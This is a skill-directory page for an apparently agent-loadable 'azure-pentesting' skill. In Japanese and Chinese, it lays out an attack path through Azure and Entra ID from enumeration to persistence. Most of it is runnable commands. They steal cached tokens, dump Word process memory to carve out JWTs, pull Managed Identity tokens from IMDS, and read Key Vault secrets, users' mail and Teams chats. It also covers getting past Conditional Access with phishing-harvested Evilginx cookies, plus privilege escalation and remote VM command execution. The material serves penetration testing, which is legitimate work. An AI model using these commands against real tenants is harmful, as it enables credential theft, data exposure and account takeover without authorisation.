mcpField
A
azure-pentesting

azure-pentesting

github.com/wgpsecセキュリティ1.8k44 回インストール4 日前に更新
リポジトリ

azure-pentesting について

Azure 環境のペネトレーションテスト手法を段階別にまとめたスキルです。未認証列挙から認証情報の評価、権限昇格、横展開、永続化までを扱い、Entra ID と ARM の認可体系の違いも示します。

主な機能

  1. 01フェーズ別の評価フロー
  2. 02Entra ID と ARM の権限を対象
  3. 03未認証列挙と認証情報の評価
  4. 04権限昇格と横展開の経路
  5. 05CLI リファレンスと関連ガイド

活用シーン

  1. 01Azure 環境の評価計画
  2. 02ID とリソースの権限境界の確認
  3. 03保有権限から攻撃経路を整理
  4. 04列挙・永続化手法の参照

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill azure-pentesting

インストール後、Claude Code で/azure-pentestingを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

references/
az-cli-cheatsheet.md
persistence-techniques.md
pitfalls.md
unauthenticated-enum.md

詳細

Azure クラウド環境のペネトレーションテスト手法

Azure は世界第 2 位のパブリッククラウドプラットフォームであり、Entra ID(旧 Azure AD)および Microsoft 365 エコシステムと密接に結び付いています。その攻撃対象領域は独特な「3 層構造」を呈しています。Entra ID のアイデンティティ層(テナント、ユーザー、アプリ登録、サービスプリンシパル)、Azure Resource Manager のリソース層(サブスクリプション、リソースグループ、RBAC)、そしてデータ層(Blob Storage、Key Vault、SQL Database)です。AWS と比較した場合の Azure の主な違いは、アイデンティティシステム(Entra ID)とリソース管理システム(ARM)が独立した 2 つの認可体系であり、Entra ID の Global Administrator は elevateAccess を通じてすべての Azure サブスクリプションを掌握できる点です。場合によっては、さまざまな方法で資格情報を入手できても、そのアカウントは Word、PowerPoint、SharePoint などの M365 スイートにしかアクセスできず、Azure クラウドのサブスクリプションリソースにはアクセスできない可能性があります。手動で確認する必要があります。このスキルでは、攻撃フェーズ(Phase)を軸に、「資格情報なし」から「完全制御」までの一連のペネトレーション経路をまとめています。

詳細な参考資料

具体的な攻撃フェーズを特定したら、対応する参考ドキュメントを読み込み、技術的な詳細を確認してください。

Phase 0: 攻撃対象領域の判断

Azure 関連のターゲットを得たら、まず現在手元にある資産の種類を判断し、どの攻撃フェーズに進むかを決定します。

当前持有什么?
├── 无任何凭据
│   ├── 有目标域名/公司名 → Phase 1(未授权枚举)
│   ├── 有 SSRF 漏洞(Azure VM/App Service/Functions)
│   │   └── 打 IMDS 169.254.169.254 获取 Managed Identity Token → Phase 2(目前这个方法不行了,因为如果想拿IMDS需要Metadata: true请求头,大部分的SSRF只能发 GET,且不能自定义 header,最理想的情况其实是命令执行会比较有可能多点现在)
│   └── 仅知道组织名称 → OSINT + Phase 1
│
├── 有 Azure 用户账号密码
│   ├── 能正常登录 → Phase 2(权限评估)
│   └── 被条件访问策略(CA)阻止 → 绕过 CA 或尝试 Service Principal
│   └── 如果是通过钓鱼比如Evilginx获得账号密码,由于Evilginx会收割目标的Cookie,账号密码,我们可以通过导入cookie绕过CA。这个逻辑很简单,比如你人在中国,但是目标账号经常在新加坡登录,现在突然从新加坡登录IP飞到中国容易收到CA登录阻止。但如果通过Evilginx收割会话,是让目标在这个会话中完成了一整套验证,微软会给该cookie打上验证完成无安全问题,因此我们如果导入该cookie可以绕过CA限制。
│
├── 有 Service Principal 凭据(Client ID + Client Secret / 证书 / Certificate Private Key (.pfx/.pem/.key))
│   └── → Phase 2(注意:SP 通常不受 MFA/CA 限制)
│
├── 有 Access Token / Refresh Token
│   ├── Access Token → 直接使用(有效期通常 1 小时)
│   └── Refresh Token → 刷新获取新 Access Token → Phase 2
│
├── 在 Azure VM / App Service / Functions 内部
│   └── 查询 IMDS 获取 Managed Identity Token → Phase 2
│
└── 有开发者工作站访问权限
    └── 检查 ~/.Azure/ 目录获取缓存凭据 → Phase 2
Azure 資格情報タイプ早見表
資格情報の種類識別できる特徴有効期間入手方法
ユーザーアカウントのパスワード[email protected]永続(変更されるまで。ただし、クラウドへのアクセス資格があるか二次確認が必要)漏えい/フィッシング/パスワードスプレー
Service Principal SecretClient ID (GUID) + Secret (ランダム文字列)設定可能(デフォルトは 2 年)アプリ登録/漏えい
Service Principal 証明書Client ID + PFX/PEM 証明書証明書の有効期間アプリ登録/漏えい
Access TokeneyJ0eXAi... (JWT 形式)通常 1 時間認証フロー/IMDS/キャッシュ
Refresh Token0.ARMA... 形式最長 90 日(スライディングウィンドウ)キャッシュファイル/トークン窃取
Managed Identity TokenIMDS を通じて取得する JWT24 時間(自動ローテーション)VM/App Service 内部
SAS TokenURL 内の sig=... パラメーター設定可能Storage Account で生成
資格情報のキャッシュファイル(開発者ワークステーション)

侵害された開発者マシンで、以下のパスを確認して Azure 資格情報を取得します。

# az CLI 缓存(Linux/macOS 明文存储)
cat ~/.Azure/azureProfile.json          # 登录用户信息
cat ~/.Azure/msal_token_cache.json      # Access Token + Refresh Token
cat ~/.Azure/service_principal_entries.json  # SP 凭据(仅 Linux/macOS)

# Az PowerShell 缓存
pwsh -Command "Save-AzContext -Path /tmp/az-context.json"

# Windows DPAPI 加密(需解密)
# C:\Users\<user>\.Azure\service_principal_entries.bin
# C:\Users\<user>\.Azure\msal_token_cache.bin
# C:\Users\<user>\AppData\Local\Microsoft\IdentityCache\*.bin
# C:\Users\<user>\AppData\Local\Microsoft\TokenBroker\Cache\*.tbres

#还有另外一种方法,有点类似与取证技巧,先观察是微软全家桶比如word是否在运行,在用户登录后,会代表用户去访问云服务,比如 Microsoft Graph 或 Outlook 相关接口(如 outlook.office365.com)。为了避免每次都重新登录,这些访问用到的 access token 会被缓存到本地,路径就是 %LOCALAPPDATA%\Microsoft\TokenBroker\Cache。也就是说,只要用户在这台机器上用过 Office 登录过 365,你其实有机会“捡现成的 token”,但注意前提是你有admin权限
Get-Process -IncludeUserName | Format-Table -AutoSize -Wrap
#如果发现word在运行用procdump去导一下
procdump.exe -mp id -accepteula
#然后再用string去分析.dmp文件是否包含token特征比如eyJ0ex.....
strings.exe WINWORD.EXE_260425_074224.dmp -accepteula | findstr /i eyJ0eX


Phase 1: 未認証列挙

Azure の資格情報がなくても、ターゲットの Tenant に対して大量の情報を収集できます。Azure の公開 API とサブドメイン構造は、豊富な列挙対象を提供します。

高価値の列挙対象
対象攻撃方法価値
Tenant 情報login.microsoftonline.com の公開 APITenant ID、ドメイン、SSO 設定
ユーザー列挙AADInternals / o365spray有効なアカウント一覧 → パスワードスプレー
サブドメインMicroBurst による 20 以上の Azure サブドメインの列挙公開されているサービスエンドポイントの発見
Blob Storage公開コンテナーの列挙データ漏えい、資格情報ファイル
App Serviceazurewebsites.net エンドポイントWeb 脆弱性の悪用 → Managed Identity
Azure Functions公開 HTTP トリガーコードインジェクション/SSRF → Managed Identity
Azure DevOpsdev.azure.com の公開プロジェクトコード漏えい、Pipeline 資格情報
Tenant の迅速な列挙
# 使用 AADInternals 获取 Tenant 全貌
Install-Module AADInternals
Invoke-AADIntReconAsOutsider -DomainName target.com | Format-Table

# 获取 Tenant ID
curl -s "https://login.microsoftonline.com/target.com/.well-known/openid-configuration" | jq '.token_endpoint' | grep -oP '[a-f0-9-]{36}'

# 枚举 Tenant 下所有域名
Get-AADIntTenantDomains -Domain target.com

# 检查用户是否存在
Invoke-AADIntUserEnumerationAsOutsider -UserName "[email protected]"
サブドメインと Blob の列挙
# MicroBurst 子域枚举(覆盖 20+ Azure 域后缀)
Import-Module MicroBurst
Invoke-EnumerateAzureSubDomains -Base targetcorp -Verbose

# Blob 公开容器枚举
Invoke-EnumerateAzureBlobs -Base targetcorp

# 手动检查 Blob 容器
curl -s "https://targetcorp.blob.core.windows.net/backup?restype=container&comp=list"

→ 未認証列挙の手法一覧は、references/unauthenticated-enum.md を参照してください。

Phase 2: 資格情報の検証と権限評価

資格情報を入手したら、まず有効性を確認し、権限の範囲を評価します。Azure には Entra ID と ARM という独立した 2 つの認可体系があるため、それぞれを列挙する必要があります。

2.1 アイデンティティの確認
# az CLI — 确认当前身份
az account show                        # 当前订阅和租户
az ad signed-in-user show              # 当前 Entra ID 用户信息

# 列出可访问的所有订阅
az account list --output table

#列出当前能访问的资源
Get-AzResource

#获得当前被分配的角色
Get-AzRoleAssignment

# Az PowerShell
Get-AzContext                          # 当前上下文
Get-AzSubscription                     # 可访问的订阅

# 如果是 Service Principal
az login --service-principal -u CLIENT_ID -p SECRET --tenant TENANT_ID

# 其余登录形态,按手上有的凭据选
az login --identity                     # 已在 VM / App Service 内:直接吃 Managed Identity,无需任何凭据
az account list --all                   # 列出该身份可见的全部订阅(含非默认订阅)
az account get-access-token --resource https://graph.microsoft.com     # Graph Token(Entra ID 层)
az account get-access-token --resource https://management.azure.com    # ARM Token(资源层,做 Azure DevOps 时换成 499b84ac-1321-427f-aa17-267ca6975798)

# PowerShell 侧
$cred = Get-Credential                  # 用户名填 Application ID,密码填 Client Secret
Connect-AzAccount -ServicePrincipal -Tenant TENANT_ID -Credential $cred

# 已有 Token 直接复用(横向移动:捡到的 token 不必再走登录)
Connect-AzAccount -AccessToken "<ARM_TOKEN>" -AccountId <CLIENT_ID>
$secureToken = "<GRAPH_TOKEN>" | ConvertTo-SecureString -AsPlainText -Force
Connect-MgGraph -AccessToken $secureToken
Get-MgContext                           # 确认当前 Graph 会话身份
2.2 権限とサービスの列挙
# ARM 层:查看当前用户在订阅上的角色
az role assignment list --assignee "USER_OBJECT_ID" --all --output table

# ARM 层:查看对特定资源的权限
az rest --method GET \
  --url "https://management.azure.com/{resource_id}/providers/Microsoft.Authorization/permissions?api-version=2022-04-01"

# ARM 层:枚举可见资源
az resource list --output table
# 或
Get-AzResource

# 查看某个角色的定义,如果遇到自定义角色
az role definition list --name "ROLE_NAME"

# 列出所有 Key Vault 实例
az keyvault list

# 列出指定 Key Vault 中的所有 Secret 名称
az keyvault secret list --vault-name VAULT_NAME

# 读取指定 Secret 的值
az keyvault secret show --id https://VAULT_NAME.vault.azure.net/secrets/SECRET_NAME

# 列出当前订阅下所有虚拟机
az vm list

# 获取指定虚拟机的公网和私网 IP 地址
az vm list-ip-addresses -g RESOURCE_GROUP -n VM_NAME

# 远程在目标 VM 上执行 Shell 命令。需要 VM RunCommand 权限
az vm run-command invoke -g RESOURCE_GROUP -n VM_NAME \
  --command-id RunShellScript \
  --scripts "whoami"

# PowerShell 版本远程执行命令
Invoke-AzVMRunCommand -VMName vm -ResourceGroupName rg -CommandId RunShellScript -ScriptString "whoami"

# 列出当前订阅中的所有 Storage Account
Get-AzStorageAccount

#列出指定存储账户中的容器
Get-AzStorageContainer -Context $storageAccount.Context

#列出容器中的 Blob 文件
Get-AzStorageBlob -Container “xx” -Context $storageAccount.Context

#列出所有 Automation Account
az automation account list

#列出 Automation Account 中的所有 Runbook
Get-AzAutomationRunbook -ResourceGroupName RG -AutomationAccountName AA

#执行指定 Runbook。 若绑定高权限身份可实现提权
Start-AzAutomationRunbook

#查看当前 Azure 订阅或指定 Scope 下的 Azure Lighthouse 注册分配
Get-AzManagedServicesAssignment | Format-List *

#列出订阅中的公网 IP 资源
az network public-ip list

#列出所有网络安全组
az network nsg list

#查看指定 NSG 的规则详情
Get-AzNetworkSecurityGroup -Name xx

#获取ADO token 如果是用户名密码凭证 这里的499bxx就是dev ops id
ADO_TOKEN=$(az account get-access-token --resource 499b84ac-1321-427f-aa17-267ca6975798 --query accessToken -o tsv)

#枚举项目
curl -s -H "Authorization: Bearer $ADO_TOKEN" "https://dev.azure.com/<组织名>/_apis/projects?api-version=7.0"

#读取repo
curl -s -H "Authorization: Bearer $ADO_TOKEN" "https://dev.azure.com/<组织名>/<项目>/_apis/git/repositories?api-version=7.0"

#读取特定repo里面内容
curl -s -H "Authorization: Bearer $ADO_TOKEN" \
  "https://dev.azure.com/<组织名>/<repo 名>/_apis/git/repositories?api-version=7.0"

#用ado token作为密码克隆项目代码到本地
git clone https://用户名%40域名.com:[email protected]/<组织名>/<repo 名>/_git/<repo 名>

#Entra ID 层 graph 枚举,首先是连接 token可以去访问myapps.microsoft.com然后点开dev tool输入graph.关键词过滤定位
Connect-MgGraph -AccessToken (<graph-token> | ConvertTo-SecureString -AsPlainText -Force)
Get-MgContext

#读取所有user
Get-MgUser -All

#列出当前所有组
Get-MgGroup

#列出租户中注册的Application Registration
Get-MgApplication -All

#列出租户中的 Service Principal(企业应用)
Get-MgServicePrincipal

#根据显示名称查找指定 Service Principal
Get-MgServicePrincipal -Filter "DisplayName eq '<name>'"

#按 AppId 反查 SP(手上只有一个 Application ID 时用这个)
Get-MgServicePrincipal -Filter "AppId eq '<appid>'"
az ad sp list --filter "appId eq '<appid>'"

#查询这个 Service Principal 拥有哪些 Azure AD 对象
Get-MgServicePrincipalOwnedObject -ServicePrincipalId <sp-id>

#自己是不是某个 App 的 Owner —— 决定了能否给它加凭据(见 azure-ad-attack §3.1)
Get-MgApplicationOwner -ApplicationId <application-object-id>

#列出某个 Administrative Unit(管理单元,AU) 里的所有成员
Get-MgDirectoryAdministrativeUnitMember -AdministrativeUnitId <au-id> -All

#出 Entra ID 里的 Conditional Access Policies(条件访问策略)
Get-MgIdentityConditionalAccessPolicy

#查看租户级别的 Authentication Methods Policy(认证方法策略)
Get-MgPolicyAuthenticationMethodPolicy

#查看某个指定 Group 的详细信息
Get-MgGroup -GroupId <group-id>

#列出某个 group 里的成员
Get-MgGroupMember -GroupId <group-id>

#看 group 的 Owner(Owner 可改成员,是提权入口)
curl -s -H "Authorization: Bearer $GRAPH_TOKEN" "https://graph.microsoft.com/beta/groups/<group-id>/owners"

#获取指定用户邮箱中的邮件
Get-MgUserMessage -UserId <user-upn>

#列出当前身份有权限访问的所有 Microsoft Teams Chat
Get-MgChat | Format-List

#读取某一个 Chat 里面的所有消息
Get-MgChatMessage -ChatId <chat-id> | Format-List

#读取某一条 Teams 消息的正文
(Get-MgChatMessage -ChatId <chat-id> -ChatMessageId <message-id>).Body.Content

# Entra ID 层:枚举目录角色
az rest --method GET \
  --url "https://graph.microsoft.com/v1.0/me/memberOf" | jq '.value[].displayName'

# 自动化权限发现
# Find_My_Az_Management_Permissions — 自动枚举所有资源权限
python3 Find_My_Az_Management_Permissions.py
2.3 権限評価の判断ツリー
当前身份权限如何?
├── Entra ID Global Administrator
│   ├── 已可管理所有 Entra ID 资源
│   └── 通过 elevateAccess 接管所有 Azure 订阅 → Phase 4
│
├── 有特定 Entra ID 角色(Application Admin/Cloud App Admin/...)
│   └── 检查是否可操控应用注册/Service Principal → Phase 3 (Entra 提权)
│
├── 有 Azure Owner/Contributor 角色
│   ├── 在特定订阅/资源组范围 → 直接操作资源 → Phase 4
│   └── 尝试横向到其他订阅 → Phase 3
│
├── 有特定服务权限(如 Microsoft.Compute/virtualMachines/*)
│   ├── 检查是否可操控 Managed Identity → Phase 3
│   └── 直接利用当前权限进行后渗透 → Phase 4
│
└── 权限极低 → 尝试利用默认 Entra ID 读权限枚举所有用户/组/应用
    └── 寻找提权路径 → Phase 3

cloud-iam-audit スキルを参照し、クラウド横断 IAM 監査を実施してください。

2.4 自動監査ツール
ツール用途コマンド
AzureHoundAzure 攻撃経路のグラフ化(BloodHound エコシステム)azurehound list -t TENANT_ID --refresh-token RT
ROADtoolsEntra ID の包括的な列挙と分析roadrecon auth -u USER -p PASS && roadrecon gather && roadrecon gui
ScoutSuiteマルチクラウドセキュリティ監査レポートscout azure --cli
ProwlerAzure セキュリティのベストプラクティス確認prowler azure
MicroBurstAzure 列挙・攻撃ツールセットImport-Module MicroBurst
PowerZureAzure 悪用フレームワークImport-Module PowerZure
AADInternalsEntra ID の高度な悪用Install-Module AADInternals
GraphRunnerMicrosoft Graph API の悪用Import-Module GraphRunner

Phase 3: 権限昇格

Azure の権限昇格は、Entra ID のアイデンティティ層と ARM のリソース層という 2 つの層で発生します。両者は独立していますが、相互に変換できます。Entra ID の Global Admin は elevateAccess を通じて ARM の Owner を取得でき、反対に、ARM 層の一部の権限から Entra ID オブジェクトを操作することもできます。

Entra ID 層での権限昇格

Entra ID の権限昇格と攻撃に関する詳細なガイドについては、azure-ad-attack スキルを参照してください。

主な権限昇格経路:

権限昇格経路主要なロール/権限原理
アプリ登録へのキー注入Application Admin / Cloud App Admin高権限アプリに新しい Secret/証明書を追加し、SP としてログインする
条件付きアクセス ポリシーの回避—SP のログインは通常 CA の制限を受けないため、IP/地理的制限を回避できる
ディレクトリロールの悪用Privileged Role Admin自分に Global Admin ロールを割り当てる
動的グループの悪用—ユーザー属性を変更して動的グループのルールに一致させ、グループのロール割り当てを継承する
管理単位からの脱出制限付き AU の外部にある Helpdesk AdminAU で保護されていない管理者のパスワードをリセットする
Consent Grant 攻撃アプリの同意権限管理者を誘導して高権限 OAuth アプリに同意させる
ARM 资源层提权决策表
提权路径关键 ARM 权限原理
角色分配写入Microsoft.Authorization/roleAssignments/write给自己分配 Owner 角色
角色定义修改Microsoft.Authorization/roleDefinitions/Write修改已分配角色的 Actions 为 *
elevateAccessGlobal Admin + elevateAccess/actionGA 提升为根范围 User Access Admin
Managed Identity 绑定服务写权限 + ManagedIdentity/assign/action将高权限 MI 绑定到可控资源
Automation RunbookAutomation/automationAccounts/jobs/write通过 Runbook 执行代码获取 MI Token
VM 命令执行Compute/virtualMachines/extensions/writeCustomScript Extension 在 VM 中执行命令
Function App 代码覆盖Storage 写权限(File Share/Blob)修改函数代码获取绑定的 MI Token
App Service SSHWeb/sites/publish/ActionSSH 进入 App Service 获取环境变量和 MI
Key Vault 策略修改KeyVault/vaults/write修改访问策略获取 Secret/Key/Cert
Logic App 后门Logic/workflows/write利用 MI 执行任意 Azure API 操作
Managed Identity 提权核心流程

Managed Identity 是 Azure 提权中最关键的枢纽(类似 AWS 的 PassRole)。如果攻击者可以在绑定了高权限 MI 的资源中执行代码,就能获取该 MI 的 Token:

攻击者拥有: Automation Account 写权限 + 目标 MI 绑定在该 Account
    │
    ├─ 1. 创建/修改 Runbook,代码中请求 MI Token
    │     $token = (Invoke-WebRequest -Uri "$env:IDENTITY_ENDPOINT?resource=https://management.azure.com/" \
    │       -Headers @{X-IDENTITY-HEADER=$env:IDENTITY_HEADER}).Content
    ├─ 2. 执行 Runbook
    └─ 3. 获取高权限 MI Token → 接管目标资源
# VM 内部获取 Managed Identity Token(通过 IMDS)
curl -s -H "Metadata:true" \
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"

# App Service / Functions 内部获取 MI Token
curl -s -H "X-IDENTITY-HEADER:$IDENTITY_HEADER" \
  "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2019-08-01"

Phase 4: 横向移动

Azure 环境中的横向移动发生在三个维度:

跨订阅移动:

  • 利用 Management Group 层级的角色继承
  • 利用跨订阅的 Managed Identity 分配
  • 利用共享 Key Vault / Storage Account

跨服务移动:

  • VM CustomScript Extension → 横向到其他 VM
  • Automation Hybrid Worker → 从云端到 OnPrem 机器
  • App Service / Functions → 通过 MI 访问其他服务

Cloud-to-OnPrem 移动:

  • Azure AD Connect → 同步服务器 → 域控
  • Hybrid Worker → OnPrem 网络
  • Azure AD PHS/PTA/Federation → OnPrem AD

参考 azure-hybrid-lateral 技能,获取 Cloud-to-OnPrem 横向移动深度指南

Phase 5: 后渗透与持久化

获得较高权限后,进入后渗透阶段:数据源优先级、11 项服务的持久化手法与隐蔽性对照, 读 references/persistence-techniques.md。

动手前先看 references/pitfalls.md 里的审计留痕点与 API 限额。


参考 azure-ad-attack 技能,获取 Entra ID 攻击与提权深度指南

参考 azure-hybrid-lateral 技能,获取 Cloud-to-OnPrem 横向移动方法论

参考 cloud-iam-audit 技能,进行跨云 IAM 审计与策略分析

コメント